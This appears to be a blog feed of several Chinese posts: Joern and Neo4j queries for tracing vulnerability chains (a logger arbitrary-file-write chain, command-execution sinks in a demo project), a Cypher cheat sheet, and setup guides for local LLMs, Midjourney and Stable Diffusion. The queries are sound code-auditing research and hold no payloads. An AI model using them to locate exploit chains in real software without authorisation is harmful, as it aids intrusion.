1 | # loggerLevel&loggerFile,任意文件写 |
这个漏洞的利用链相对特殊,其实是利用了logger本身的功能,通过配置log写入的文件来实现任意文件写
这里类初始化的操作在joern被标记为
1 | cpg.method.where(_.name("<init>")).where(_.fullName(".*FileHandler.*")) |
这样我们再次追利用链
1 | def sink = cpg.method.where(_.name("<init>")).where(_.fullName(".*FileHandler.*")) |
在找到可控的**newInstance位置**之后,我们还需要继续完善利用链的最后一步。
根据我们刚才找到的漏洞位置,我们需要找到一个对应的构造方法参数为一个String的类来做进一步利用。
在Joern中可以通过寻找构造函数的关键字,再限制方法的返回类型来寻找这样的类.
1 | cpg.method.where(_.isConstructor).whereNot(_.typeDecl.isAbstract).fullName(".*:void\\(java.lang.String\\).*").fullName.l |
当然这里找到的类是不全的,这里的问题和前面类似。Joern不会解jar包里的jar包,所以无法跟进去分析整个项目的依赖,自然也就没办法找到完整的利用点,这里不赘述了
这个漏洞的修复也相当粗暴,在我们找到的最终执行命令的初始化任意类的地方,新版本直接指定获取的类名必须是指定类的子类,直接限制了后续的利用条件
]]>在研究Joern和Neo4j的过程中,我遇到了一个相当大的问题,就是由于我对OverflowDB包括scala和cypher语言都不熟。Joern和Neo4j分别支持这几种冷门语言,而相应的文档其实没有解决我的问题。
所以在继续研究Joern之前,先花时间简单记录一些Joern和Neo4j实用的语法和范例,给自己当个字典随时可以查阅。
寻找对应名字的方法定义的位置
1 | joern> cpg.method.name("getRequestBody").l |
寻找对应方法/函数调用的位置
1 | joern> cpg.call("getRequestBody").take(1).l |
寻找对应名字注解的节点
1 | joern> cpg.annotation.name(".*Mapping").take(1).l |
在joern的节点你都可以非常简单的用点连接来获取对应节点连接的其他节点
1 | joern> cpg.annotation.name(".*Mapping").method.take(1).l |
除了常规的method,annotation,call这种以外,比较常见的节点类型还有
https://docs.joern.io/cpgql/node-type-steps/
当然除了上面的这些节点以外,还有一些调用关系的通用节点
返回节点列表对应节点的被调用节点,也就是父节点
返回节点列表对应节点的调用节点,也就是子节点
返回节点列表对应父节点的所有节点
凡是节点连接的都是作为结果传到下一级的,如果是想筛选符合条件的节点则需要用where或者属性过滤器,比如说
查询名字为getRequestBody,这个name就是属性过滤器,向下一级返回的是符合属性过滤器的method节点
或者用where也行,where语句内容会作为筛选条件影响返回的method内容
1 | joern> cpg.method.name.l |
如果不是使用()作为属性过滤器,那么返回内容就会直接变成name属性列表。
当然除了where以外,也支持很多种过滤器
where,whereNot:筛选返回为空或者非空的节点
filter,filterNot:筛选返回为True或者False的节点
and,or:多个过滤器之间的关系
在处理结果返回的时候也有一些方式改变返回的内容。一般来说查询结果会是一个字典列表。
1 | joern> cpg.method.name("getRequestBody").l |
可以用map来改变返回的结构,这是一个类似于lambda的语法,会遍历列表的所有节点然后生成结果.
1 | joern> cpg.method.name("getRequestBody").map(n=>List(n.filename, n.lineNumber, n.fullName, n.code)).l |
除了map以外,另外还有两个实用的
既然需要寻找两个节点之间的路径,那么就少不了重复,重复获取父级节点就是最简单的一种数据流分析。
重复获取caller共5次,如果找不到结果就会停止
重复调用 caller 查询,直到找到一个方法名为 foo 的方法,找不到就返回空。
emit的意思是会将查询的过程节点作为返回的列表中的一员。
上面这句语句就是指,重复5次获取当前节点的caller的节点属性,除此之外还会带上路径上所有满足isMethod的节点。
Joern对于返回结果提供了公式化的输出格式,而且如果不指定输出直接就没有返回
1 | def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter |
Neo4j的语法在我看来要比Joern的语法别扭多了,但有些问题其实在Neo4j会更容易得到答案,可视化的图结构在某些情况下会有非常明显的优势。
1 | create (n:Person)-[:LOVES]->(m:Dog) |
1 | create (z:ziduan{name:"f_name",table:"dianlibiao"}) return count(*) |
1 | create (n:Person{name:"李四"})-[:FEAR{level:1}]->(t:Tiger{type:"东北虎"}) |
1 | match (n:Person{name:""王五""}), (m:Person{name:"赵六"}) create (n)-[k:KNOW]->(m) return k |
1 | match (n:Person{name:"李四"})-[f:FEAR]->(t:Tiger) delete f |
1 | match(m)-[b:bian]-(n) delete b |
1 | match (n:Person{name:"李四"}) delete n |
1 | match(n) detach delete n |
1 | match (n) delete n |
1 | match (n) detach delete n |
1 | MATCH (r:Loc) DETACH DELETE r |
1 | match |
1 | match(n) return n |
1 | match (t:Tiger) where id(t)=1837 return t |
1 | match (n:Persion)-[:HAS_PHONE]->(p:Phone)-[:CALL]->(p1: Persion) where n.name=“姓名6” return n, p,p1 limit 10 |
1 | match p=()-[c: CALL]->() return p limit 10 |
1 | match (n:USERS) where n.name=~'Jack.*' return n limit 10 |
1 | match (n:USERS) where n.name= contains 'J' return n limit 10 |
1 | match (n:Person{name:"王五"}), (m:Person{name:"赵六"}) return n,m |
1 | match(n) where n:标签1 or n:标签B return distinct n; |
1 | match(n) where not n:标签1 and not n:标签B return distinct n; |
1 | match (t:Tiger) where id(t)=1837 set t:A return t |
本质上是给实体增加一个标签,一个实体可以有多个标签
1 | match (a:A) where id(t)=1837 set a.年龄=10 return a |
1 | match (n:Person)-[l:LOVE]->(:Person) set l.date="1990" return n, l |
1 | match(n) set n:table return n |
1 | match (p1:Person{name:"姓名2"}),(p2:Person{name:"姓名10"}), p=shortestpath((p1)-[*..10]-(p2)) return p |
shortestpath()用于查询最短路径 [..10] 表示关系中*不超过10度关系**
1 | match (p1:Person{name:"姓名2"}),(p2:Person{name:"姓名10"}), p=allshortestpaths((p1)-[*..10]-(p2)) return p |
1 | match (n:Person{name:"王五"}), (m:Person{name:"赵六"}) merge (n)-[l:LOVE]->(m) return l |
1 | OPTIONAL MATCH (n)-[r]->(m) RETURN m |
匹配结果集中如果有丢的部分,则会用null来补充
1 | MATCH (n) |
1 | MATCH (n) |
但实际上来说,如果想要更深入的了解Joern,CPG和图数据库是绕不开的一个话题。CPG作为一种代码属性图,就必须寻找一种图数据库作为载体,就像我们常用的数据和SQL数据库的关系一样。
旧版本的Joern使用的Gremlin,但后来的开发中换成了OverflowDB,在joern中也完全支持使用OverflowDB的查询语法。
但属性图本身没有什么特异性,比较常见的比如Neo4J,OrientDB或者JanesGraph都支持CPG的表现形式。
但,在这之前,我们首先需要知道,为什么是图?
在上篇文章中,我在讲了CPG的设计思路时曾经提到过一些相关的内容。
如果说CFG(control flow graphs)相比AST来说最大的特点是带有明确数据流向的流向,在数据流分析可能更有优势。
那么CPG相比CFG来说有一个很大的特点就是信息量大,而图最大的特点也在于,就是可以容纳信息量巨大的内容。
假设我们有这样一段代码
1 | a = new A() |
这里简单的几行代码,其实展示了相当复杂的依赖链,abcd几个变量中有着复杂的互相指向关系,如果用文字来表示abcd之间的关系我们可能需要拆分很多部分。
1 | a -> A() |
我甚至很难用文字的方式表达出他们之间的关系,而图在这样的场景下就变得很有优势。
当然这只是一个粗浅的例子,但已经很明显的能感觉出来图和文字之间的差距了,图关系可以很轻松的表达出文字很难表达出来的信息量。
Joern用了CPG来储存代码的所有节点关系和属性数据,由于CPG的信息量大,所以Joern甚至提供了官方的生成AST、CFG等其他结构的接口,对于C/C++甚至支持多种自定义的结构。
在Joern的命令行你可以直接使用相应的命令生成对应的格式
1 | cpg.method($name).dotAst.l // output AST in dot format |
有个很有意思的是,如果你的电脑装了Graphviz,Joern还可以调用Graphviz来绘图,虽然生成的图很难看。
安装Graphviz之后我们可以通过命令来绘图
1 | cpg.method($name).plotDotAst // plot AST |
说实话,不太实用,但是很方便
相比Graphviz这种仅仅用来临时展示图的应用来说,Neo4J则是标准而且非常成熟的图数据库,不但性能强,而且还实用。
你可以在官网下载免费的neo4j,其中包括服务端和客户端版本,服务端版本启动后会默认跑到7474端口上。
Neo4j使用的查询语言叫做Cypher,这是一种声明式的图查询语言,我个人觉得Cypher其实算是比较反人类的一种语言,具体的语法可以看对应的文档。
简单来讲Cypher中对应SQL的语句关系有几个比较特别的,首先就是MATCH和where。
1 | # SQL |
MATCH和where在两种查询语句中是类似的功能,其中的区别就是MATCH匹配的是图中节点之间的关系。Cypher语法比较强调节点之间的关系,比如-就是无方向关系,->就是有方向关系。
1 | match |
其他的比如创建节点、删除节点、创建关系、搜索匹配的节点以及关系等等就不赘述了,算是比较符合理解的语言逻辑。
而相对于普通的数据库来说,图数据库有着可能是一种优势的特性,就是可以直接通过Neo4j的浏览器直接操作图内容以及结构。
直接用鼠标点击各个节点查看对应的属性以及它们之间的关系,并且可以直接拖动他们。
点击节点下面的按钮,可以直接查看到节点连接到的其他节点,很方便也很直观。
前面说了,Joern使用了自己做的OverflowDBl来作为图数据库存储CPG,但CPG本身没有什么特异性,也就意味着他可以在任意一种图数据库上导入。
而Joern本身是自带了这个功能的,就是joern-export。它支持你导出Joern的CPG到neo4j , graphml, graphson 和 graphviz dot。
1 | ./joern-export --repr=all --format=neo4jcsv |
要使用joern-export导出数据的话,需要指定CPG的位置,这个东西会存在Joern目录下的workspace当中,并且需要指定output,默认是./out。
然后我们可以想办法把这些csv文件导入到Neo4j当中。当然你可以用一些自己的方式导入,但joern的这个图还挺麻烦的,主要是neo4j导入复杂结构数据需要指定好各种csv文件的关联。
但joern当然也给出了导入的办法,在生成文件的时候会给出一个导入命令的范例,照着范例就可以搞定了。
首先joern导入数据是有限制的,只能导入import目录下的文件,这个import文件一般会在对应链接的server目录下面,如果你使用的是neo4j的desltop浏览器,那么你可以直接打开对应的import目录,并把文件复制过去。
除了文件以外,还有就是这个/bin/cypher-shell的位置,这个脚本就在对应链接目录的bin下
然后构造对应的find命令生成执行导入即可,其实它的原理也比较简单,就是依次执行*_cypher.csv文件中的命令,然后导入header和data。
最终导入的数据就是这样的
当我们把CPG导入到Neo4J上之后,理论上来说我们可以用cypher来完成我们在Joern中做的所有工作。
这里还是拿上篇文章中用到的RCE代码来举例子。
对应Joern的语句为
1 | def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter |
首先匹配注解节点满足.*Mapping的
1 | MATCH (n:ANNOTATION) where n.NAME=~".*Mapping" RETURN n LIMIT 25 |
然后找这些对应节点关联的方法
1 | MATCH (m:METHOD)-[:AST]->(n:ANNOTATION) where n.NAME=~".*Mapping" RETURN n LIMIT 25 |
然后找一下对应调用exec方法的节点
1 | MATCH (n:CALL) where n.NAME="exec" RETURN n LIMIT 25 |
然后我们把两个节点连接起来,并查找最短路径,这里的[*..10]表示最长不超过10个关系
1 | MATCH (p1:METHOD)-[:AST]->(n:ANNOTATION),(p2:CALL),p=shortestpath((p1)-[*..10]-(p2)) where n.NAME=~".*Mapping" and p2.NAME="exec" RETURN p LIMIT 25 |
这里范例算是比较简单的,所以用这个还算比较简单的语句就可以查询到结果,正好对应漏洞利用链。
]]>无论是基于IR(Intermediate Representation)、AST(abstract syntax trees)、CFG(control flow graphs)、PFG(program dependence graphs),又或者是其他的什么中间态。白盒代码扫描工具都在这个基础上做模拟执行、污点传播等等方案来分析挖掘漏洞。
而随着CodeQL的概念逐渐被大家接受之后,现在的代码扫描工具越来越趋近于将底层和上层拆解开来,由底层的引擎将代码统一化处理,然后使用者在上层通过编写规则或者语句就可以。主流的CodeQL、Checkmarx其实都使用了类似的方案。今天要说的Joern也是如此。
今天介绍的Joern有什么特殊的呢?
首先CodeQL本身不开源只能使用,偏偏微软还做了商业化限制,以微软喜欢秋后算账的风格来讲,实在无法确定深入研究CodeQL是否值得。
除此之外,市面上的很多白盒扫描工具其实是非静态的,扫描的时候不但需要配置复杂的运行环境,而且本身可能依赖编译过程,无论是自己使用还是商业化这都非常不实用。
个人认为白盒工具有着几个很重要的点
今天介绍的joern的其实就是这类工具的一员,他最大的特点其实就是开源。
joern是ShiftLeft 开发的一款基于CPG制作的白盒静态扫描工具,诞生的时间不算早应该就是2021年(具体记不清了)
和其他工具不同,他引用了一种叫做CPG(Code Property Graph)的中间结构作为处理结构,是由AST + CFG + PDG叠加而来,最终生成一张图,然后在图的基础上做分析和检测。和传统的基于单一AST或者CFG的工具相比,图结构一方面能承载更多的代码信息,另一方面,CPG也让后续的分析程序更具有通用性。
这就是一张很经典的范例图,用来展示CPG和其他几种的区别。
另一方面,在用户使用的Joern命令行上,Joern构建了一套基于OverflowDb的查询语言以供使用者可以在不需要知晓底层原理的基础上查询分析。
至于OverflowDB具体是什么,不是很关键,我们只需要了解joern就行了。
关于CPG可以看一篇官方写的基础的理论文章。
以下部分内容大量取材于上面这篇文章。
还有就是比较重要的joern的CPG标准文档
在介绍CPG之前,首先要先对图结构有个基础的概念,无论是图数据库又或者是图结构其实说白了就是把节点以及节点之间的关系以图的方式展示出来。就比如下图表明A和B就是朋友,B和C也是朋友。
换到代码中说白了就是通过图的方式展示代码中不同节点之间的关系,而这个节点可能是代码块,可能是函数块,可能是变量块,他们之间会通过边的属性来展示节点之间的关系。
而代码在编译执行前会经过几个复杂的步骤,在经过最简单的词法分析和语法分析,代码就会被转为AST(abstract syntax trees)也就是抽象语法树,这也是普遍会用到的通用结构,因为从AST开始不同语言的差异就是就很小了,也会有非常标准的结构。
AST则是一个经典的树结构,这算是数据结构当中非常经典的一个,通过遍历树结构我们就能得到更底层的某种结构,比如IR就是这类结构的一种,这种结构会具有更强的执行顺序,相应的也会模糊掉一些语法。
而CFG(**control flow graphs**)是一种更强调执行流的结构,节点和节点之间只有调用关系,而且会有比较强的代码执行顺序,边上会展示执行相应的条件。
而另一个比较有用但是比较少见的就是PDG(**program dependence graphs**),PDF也是一种图关系,通过图来展示代码节点之间的依赖关系,他更强调的是节点和节点之间的关系,节点之间的边会展示数据节点的影响关系,所以图结构会更复杂,但会更易于寻找节点之间的关系。
下面这张图就是一张PDG,上面的两个对于x和y的定义会单向影响后续节点的变化,这种联动关系很清晰,这就是PDG的优势。
但无论是AST、CFG、PDG或者是IR等数据结构,又或者是某个原创的中间结构,他们的目标都是一致的,就是用更通用的方式解释代码,这整体可以算作编译原理的前端。它本质上没有实际的区别,无非就是哪种通用结构被拿来做代码分析。
而CPG在这个环境下主体由AST、CFG、PDG多种结构融合而来,我觉得它最大的特点就是利用了图结构庞大的信息容纳能力(毕竟图本身并不是二维的,图结构可以很复杂),可以保证我们在代码分析中遇到任何情况都可以在CPG中找到相应的答案和场景。这是图结构相比其他中间结构解决方案难以比拟的优势。
而joern作为一个白盒的代码分析工具,主要做了两部分。
第一部分是实现了一种方案来比较通用的代码转CPG,他的原理也很简单,用已经有的某个组件来实现语义分析部分,然后把不同的AST转成统一的AST,最终转成目标CPG。
而第二部分就是,在已有的CPG基础上,实现了一套查询语法,类似CodeQL,这种,允许通过这种语法来构造不同的查询逻辑实现最终的目标
1 | > def source = cpg.identifier.typeFullName(".*HttpServletRequest.*") |
拿上面这段代码举例子就是,寻找java当中的代码执行漏洞范围,通过简单的指定source和sink就能实现漏洞挖掘,中间的步骤被封装起来。
它同样支持你使用复杂的Scala脚本进行代码的扫描和处理。通过Scala可以实现更复杂的查询和数据流分析。
相比其他的某个白盒工具来说,joern的优势有一点儿非常特例,这点在CodeQL中也有很强烈的体现,就是大部分的白盒扫描工具对于底层的包裹非常严密,很多工具你只能简单的拿来扫描漏洞。
一方面你无法清楚的知道,从这次扫描中你做了什么事情得到了什么东西,甚至无法知道这些漏洞是怎么被扫描或者是没有被扫描到。
另一方面,如果你的目标并不是单纯的扫描漏洞,而是想要通过工具辅助分析代码,比如想知道某个函数如何访问到,这种问题大概率没有答案。
如果对Joern的设计理念感兴趣,可以看看设计者写的文章
或者看看设计师的PPT
根据官网的文档,我们可以快捷的安装joern环境
1 | wget https://github.com/joernio/joern/releases/latest/download/joern-install.sh |
windows也可以用同样的方式安装,当然你需要有能跑sh的环境和wget/curl。
如果需要做joern做二次开发,还需要下载idea的scala插件
joern的使用方法算是比较简单但是怎么用就要看需求了,可以多关注官网提供的很多查询语句帮助理解
这里我们下一个java-sec-code作为范例代码
导入到joern的方式也很简单
在运行代码的时候joern也给出了提示,如果想要扫描特别大的项目,建议把前端的cpg转化过程拆分出去。
1 | javasrc2cpg.bat -J-Xmx8092m ../../java-sec-code/ --output D:\program\joern\joern-cli\workspace\java-sec-code\cpg.bin.zip |
然后在打开joern后将刚才生成的cpg导入进来
1 | importCpg("path/to/cpg") |
但其实这个转化CPG的过程不会太慢,因为Joern为了优化这个速度,是把转化和连接这两部分拆开做的,换句话说,就是第一步只是把代码转成了CPG,而其中节点之间的关系并不会在转化过程中连接,而是在语句查询过程中完成,这大大节省了扫描所需的时间。
这里转化的CPG会存在workspace里,用workspace命令可以看到之前转过的所有cpg。
你可以用open(“java-sec-code”)来激活对应的项目
这里最终生成的cpg变量就是代码的CPG,所有的代码数据都会存在这个变量,比如cpg.metaData就是基础元数据,一般来说后面会加个.l,这个l就是tolist,结果会转成list格式。
比较重要的一点是,joern的shell模式为了易用性是优化了tab的,如果不知道命令可以多tab补全命令,会有一个实时的补全,很实用。
通过method可以获取cpg中的所有方法,并获取节点的详细信息。
1 | cpg.method.take(1).l |
信息太多,你还可以构造返回的map结构,比如行号,方法名,对应的代码。
1 | cpg.method.map(n=>List(n.lineNumber, n.name, n.code)).take(1).l |
查询调用了getRequestBody的方法,并获取文件名、行数、方法名
1 | cpg.method.name("getRequestBody").caller.map(n=>List(n.filename, n.lineNumber, n.fullName, n.code)).l |
这里第一行就表示,在XStreamRce.java这个文件的23行调用了getRequestBody这个函数。当然这里我们仅仅找到了一个入口,想要确定这是否可能是个问题,还需要追这个入口(source)是否可以通往敏感函数点,那我们就需要对数据流做分析了。
首先我们需要知道如何访问到调用了getRequestBody的方法,由于这是个SpiringBoot项目,所以可以从@RequestMapping的注解入手,先查询出所有的web入口。
1 | cpg.method.where(_.annotation.name(".*Mapping")).map(n=>(n.name, n.annotation.code.l)).l |
然后我们可以在@RequestMapping的节点和调用getRequestBody的方法节点中间寻找路径,在Joern它提供了两个方案
1 | cpg.method.where(_.annotation.name(".*Mapping")).repeat(_.callee)(_.until(_.name("getRequestBody"))).l |
1 | cpg.method.name("getRequestBody").repeat(_.caller)(_.until(_.annotation.name(".*Mapping"))).l |
关于正向搜索和反向搜索的优劣其实没有特别简单的优劣性,最简单的一个方式是从少的节点往多的节点找,这是最简单的也最不容易浪费资源,只需要执行少的节点数量次数即可。
这里使用的语法是repeat…until…语法,大意是一直向上寻找调用上级/下级,直到满足某个条件为止。
上面的语法只是显示了满足条件的节点,但真正到漏洞挖掘中,我们必须在source和sink中找到数据流才行,当然在Joern中这个也给了非常简单的基础使用方法,也就是reachableBy。
这里用一个比较简单的例子,是java-sec-code最简单的rce例子
首先我们指定exec调用点为sink,然后照例指定含有Mapping注解的方法参数为source
1 | def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter |
然后直接用reachableBy来做数据流分析获取
1 | sink.reachableByFlows(source).p |
可以看到这里已经找到了刚才那条数据流。
当然静态分析远不止这么简单,是否有效,是否被过滤都是问题,而且数据流当中也会有复杂的问题变化,而joern在这方面是提供了sc脚本的方案来构建复杂的查询逻辑。
1 | ./joern --script test.sc --params cpgFile=/src.path.zip,outFile=output.log |
这部分的内容后面再讲
]]>我们需要配置一个环境
首先我比较推荐你配置一个anaconda的环境,因为pytorch的其他安装方法真的很麻烦
然后你需要安装CUDA的环境,正常来说只需要下载对应的CUDA版本即可
然后就是安装pytorch的环境,这个环境比较麻烦,正常来说通过conda来安装是比较靠谱的办法,当然有些时候就是安不了。
如果安装不成功,就只能用源码来编译了。
首先,clone一下源码
1 | git clone --recursive https://github.com/pytorch/pytorch |
然后安装一下对应的各种依赖
1 | conda install cmake ninja |
然后windows的源码编译有点儿复杂,具体要参考各种情况下的编译
在编译这个pytorch这个东西的时候我遇到过贼多问题,其中大部分问题我都搜不到解决方案,最终找到的最靠谱的方案是,不能用太低或者太高版本的python,会好解决很多,最终我选择了用3.10版本的python,解决了大部分的问题。
另外就是如果gpu不是很好或者显存不是很高,也可以使用cpu版本,大部分电脑的内存都会比较大,起码能跑起来。
如果是windows,那一定会用到huggingface,有个东西我建议一定要注意下。
默认的huggingface和pytorch的缓存文件夹是在~/.cache/下,是在c盘下面,而一般LLM的模型文件都贼大,很容易把C盘塞满,这个注意要改下。
在环境变量里加入**HF_HOME和TORCH_HOME ,设**置为指定变量即可。
除此之外,有的项目也会提供docker化的部署方案,如果采用这种方案,就必须在宿主机安装NVIDIA Container Toolkit,并重启docker
1 | sudo apt-get install -y nvidia-container-toolkit-base |
LLM全称**Large Language Model,大语言模型,是以ChatGPT为代表的ai对话核心模块,相比我们无法控制、训练的ChatGPT,也逐渐在出现大量的开源大语言模型,尤其是以ChatGLM、LLaMA**为代表的轻量级语言模型相当好用。
虽然这些开源语言模型相比ChatGPT差距巨大,但深度垂直领域的ai应用也在逐渐被人们所认可。与其说我们想要在开源世界寻找ChatGPT的代替品,不如说这些开源大语言模型的出现,意味着我们有能力打造自己的GPT。
目前中文领域效果最好,也是应用最多的开源底座模型。大部分的中文GPT二次开发几乎都是在这个模型的基础上做的开发,尤其是2代之后进一步拓展了基座模型的上下文长度。最厉害的是它允许商用。
MOSS是一个支持中英双语和多种插件的开源对话语言模型,moss-moon系列模型具有160亿参数,在FP16精度下可在单张A100/A800或两张3090显卡运行,在INT4/8精度下可在单张3090显卡运行。MOSS基座语言模型在约七千亿中英文以及代码单词上预训练得到,后续经过对话指令微调、插件增强学习和人类偏好训练具备多轮对话能力及使用多种插件的能力。
一系列基于RWKV架构的Chat模型(包括英文和中文),发布了包括Raven,Novel-ChnEng,Novel-Ch与Novel-ChnEng-ChnPro等模型,可以直接闲聊及进行诗歌,小说等创作,包括7B和14B等规模的模型。
LLM的基座模型说实话有点儿多,尤其是在最开始的几个开源之后,后面各种LLM基座就像雨后春笋一样出现了,比较可惜的是目前的的开源模型距离ChatGPT的差距非常之大,大部分的模型只能达到GPT3的级别,距离GPT3.5都有几个量级的差距,更别提GPT4了。
给大家看一个通过一些标准排名出来的LLM排行榜,这个说法比较多,一般就是看样本集的覆盖程度。
Embedding 模型也是GPT的很重要一环,在之前的文章里曾经提到过。由于GPT的只能依赖对话的模式受限于上下文的长度。
所以也就衍生出了不少的开源Embedding模型
gradio是一个非常有名的机器学习用于数据演示的web框架。通过gradio可以快速的构建一个可以实时交互的web界面。有点儿像flask
首先要注意gradio最起码python在3.8版本以上.
1 | import gradio as gr |
gradio支持非常多这类的常用场景,就比如文本、勾选框、输入条,甚至文件上传、图片上传,都有非常不错的原生支持。
FastChat是一个在LLM基础上构筑的一体化平台,FastChat是基于LLaMA做的二次调参训练。
1 | pip3 install fschat |
正常使用需要用机器生成Vicuna模型,将LLaMa weights合并Vicuna weights。而这个过程需要大量的内存和CPU,官方给出的参考数据是
如果没有足够的内存用,可以尝试下面两个办法来操作一下:
1、在命令中加入–low-cpu-mem,这个命令可以把峰值内存降到16G以下
2、创建一个比较大的交换分区让操作系统用硬盘作为虚拟内存
1 | python3 -m fastchat.model.apply_delta \ |
下载完模型文件之后,可以快捷的使用对应的模型
1 | python3 -m fastchat.serve.cli --model-path lmsys/fastchat-t5-3b-v1.0 |
相比其他的基座模型LLM,FastChat的平台化程度就比较高了。
首先提供了controller和model worker分别部署的方案,一对多的方案本身比较符合项目化的结构。
1 | python3 -m fastchat.serve.controller |
而且同样利用gradio构建了相应的web界面
1 | python3 -m fastchat.serve.gradio_web_server |
除此之外FastChat还提供了和openai完全兼容的api接口和restfulapi.
1 | import openai |
甚至可以直接以api的方式接入到其他的平台中,完成度很高。
知识库文件是langchain类方案中比较重要的一环,所有的问题会先进入知识库中搜索结果然后再作为上下文,知识库文件的数据量会直接影响到这类应用的结果有效度。而现在比较常见的相似度检测用的都是faiss,构建向量数据库用于数据比对。
知识库数据 | FAISS向量 |
---|---|
中文维基百科截止4月份数据,45万 | 链接:https://pan.baidu.com/s/1VQeA_dq92fxKOtLL3u3Zpg?pwd=l3pn 提取码:l3pn |
截止去年九月的130w条中文维基百科处理结果和对应faiss向量文件 | 链接:https://pan.baidu.com/s/1Yls_Qtg15W1gneNuFP9O_w?pwd=exij 提取码:exij |
💹 大规模金融研报知识图谱 | 链接:https://pan.baidu.com/s/1FcIH5Fi3EfpS346DnDu51Q?pwd=ujjv 提取码:ujjv |
相应的现在很多应用还内置了用于测试知识库的接口,比如langchain-ChatGLM
通过微调知识相关度的阈值,可以让回答消息更有效。你甚至可以直接在平台新建知识库并录入数据。
langchain是现在成熟度比较高的一套Aigc应用,现在比较主流的一种知识库检索方案,用的是曾经的文章中提到过的基于上下文的训练方案,用户输出会先进入数据库检索,然后找出最匹配问题的部分结果然后和问题一起加入到prompt的上下文中,最终由LLM生成最终的回答。
这个方案是目前最经典的知识库型训练方案,最有效的解决了大模型本身训练的难度和反馈结果的有效度难以兼容的问题。
建立在langchain的思想上,其实衍生了非常多比较有意思的项目,一方面引用了包括ChatGLM-6B等各种开源的大模型,也用了开源的embedding方案来处理文本。
另一方面呢也做了比较成熟的vue前端+知识库,可以快速的拼凑出可用的chat ai。
langchain-ChatGLM是诸多langchain方案中中文支持实现的比较好的一个,过程包括加载文件 -> 读取文本 -> 文本分割 -> 文本向量化 -> 问句向量化 -> 在文本向量中匹配出与问句向量最相似的**top k个 -> 匹配出的文本作为上下文和问题一起添加到prompt中 -> 提交给LLM**生成回答。
整个项目中的每个部分都可以一定程度的自由组合,Embedding 默认选用的是 GanymedeNil/text2vec-large-chinese,LLM 默认选用的是 ChatGLM-6B。或者也可以通过fastchat来接入。
配置完成并安装好环境之后,就可以运行,首次运行会下载对应的大模型。
当然,这个模型实在是太大了,命令行下载的时候非常容易出问题,所以可以参考ChatGLM-6B的方案,自己下载模型然后再加载。
比较靠谱的就是先下模型实现,然后再单独下载模型并覆盖所有的文件
1 | GIT_LFS_SKIP_SMUDGE=1 git clone https://huggingface.co/THUDM/chatglm-6b |
然后需要修改对应的配置文件中模型的位置,在configs/model_config.py
默认的知识库文件路径是
1 | knowledge_base\samples |
如果想用自用的本地知识文件,放在对应目录的knowledge_base即可。现在的知识库文件会遍历目录下的文件,所以指定目录即可。
1 | python cli_demo.py |
1 | python3.10 .\webui.py |
注册Discord并授权使用Midjourney的bot
现在的Midjourney已经正式转为收费版本了,价格还是比较便宜的,最便宜的版本一个月60多块也还算能接受。
订阅完成之后就可以加入Midjourney的频道,在左边可以选择newbie或者general的频道进去
你可以直接在这个频道里使用,当然,这个频道里消息非常多,刷的很快,也有一个办法是你可以在自己的私人频道使用这个bot。首先你需要有一个你拥有管理权限的频道,然后在Midjourney中找到这个bot并把它添加到自己的服务器中。
然后就可以正常的使用命令了。
最常用的命令就是/imagine,输入命令会直接引导格式让你输入对应的prompt,但很可惜的是Midjourney本体对中文的支持并不是很好,生成结束之后就会弹出结果。
下面的几个选项对应的是上面图的进一步发展方向
其中U是选定并放大其中的一张图,V是选定一张图在这个图的结构上进一步生成,如果都不满意还可以重新生成一次。
假设我们选择U1之后,他会获得一个放大版本的更多细节的图。
之后如果你还想进一步生成,还可以点选Make Variations来继续生成之前的4格图继续风格的演变和生成。
Midjourney的基础用法就是用imagine配合基础的文字描述来生成图片
但事实上,Midjourney还有很多进阶选项
首先你可以通过传入图片链接来使用图生图功能。除此之外,还有一些参数可以提供。
ps: –aspect 2:3
除此之外你也可以指定使用Midjourney不同版本的基础模型
在使用Midjourney的过程中,能最明显感觉到的是,Midjourney其实是通过大幅度简化来实现产品使用体验的大幅度提升,使用Midjourney你并不能像SD一样在很多地方影响图片的生成逻辑,拿生成赛博偶像的系列图举例子,你很难生成同样外形的多个系列图片。
而Midjourney这个工具其实更聚焦于设计师群体,重要的是你想要画一个什么东西出来,一个符合预期的prompt提示词,配合多轮的迭代式绘画改进,你基本上可以用Midjourney画出一个满意的东西。
而我觉得Midjourney除了超棒的交互式体验,最牛的就是底层关键词的解读逻辑有效度非常之高,而且基础模型的审美非常不错,你大概写一个描述词基本上都能得到一个质量非常高的图,这点是其他绘画ai都达不到的高度。
举个例子,a hacker before computer
如果是在文心一言,你就会得到这样一个图
这里你能很明显的感受到他们的区别,就是Midjourney生成结果质量非常之高,你还可以让他进一步生成,如果你觉得直接选择V变化太小了,你可以选择用大图来重新图生图。
比如这里我拿第二个图进行重新生成,加入赛博朋克风格
当然你可能没有什么想法,但你只是喜欢这个画风,那你可以通过chaos这个参数来增加多样性,当然这个值建议不要设置太大,否则基本和原图就关系不大了。
你可以在midjourney上轻而易举的获得你想要的任何改动,不用担心你的需求无法理解,Midjourney会不知疲倦的持续产出各种东西来。每次用这个东西的时候都能感觉到设计师的悲惨。
之前也曾经听过一个事情,设计师届曾大量的抱团反对ai绘画工具的诞生,用设计师设计的东西训练ai,最后反倒毁掉了设计师的工作,真是令人唏嘘。
前面说了很多关于Midjourney的使用问题,但对于国内来说Midjourney最大的问题就是discord是需要科学的。所以接下来介绍一个可以在国内部署的方案
你可以使用这个项目来部署一个Midjourney的代理,我觉得比较好用的是部署在Railway的版本,不需要用自己的服务器,这个网站提供免费的5美刀和每个月免费的500小时使用。
部署完成之后可以获得一个mid的链接
这个时候还只有api,你需要配合一个前端来完成,我选用了魔改版的ChatGPT-Midjourney
这个东西可以直接部署Vercel版本的,非常好弄,直接点击deploy就可以开始配置了
部署好了绑定域名就可以用了,很方便。
]]>在midjounry收费之后,除非你对AI绘图这个操作本身有强需求,否则在免费自建的stable diffusion上做拓展就成了现在最好的解决方案。
这篇文章就聊一些stable diffusion的一些进阶操作和关键点。其中有不少还是很有意思的。
AI相关的东西都有一个很大的共同点就是对GPU的算力要求太高,相比在服务器上运行,更靠谱的方案是在本地电脑上跑,比起动辄5、6位数的服务器,一个入门级的4070ti就已经能应对大量的ai训练场景了。
但有个很特殊的东西是Google Colab,这是Google提供的免费GPU算力
现在有很多现成的脚本可以允许你一键部署脚本,就比如
点击打开之后,先点击右上角的连接,会随机分配一个机器给你。
连接成功就会变成绿色
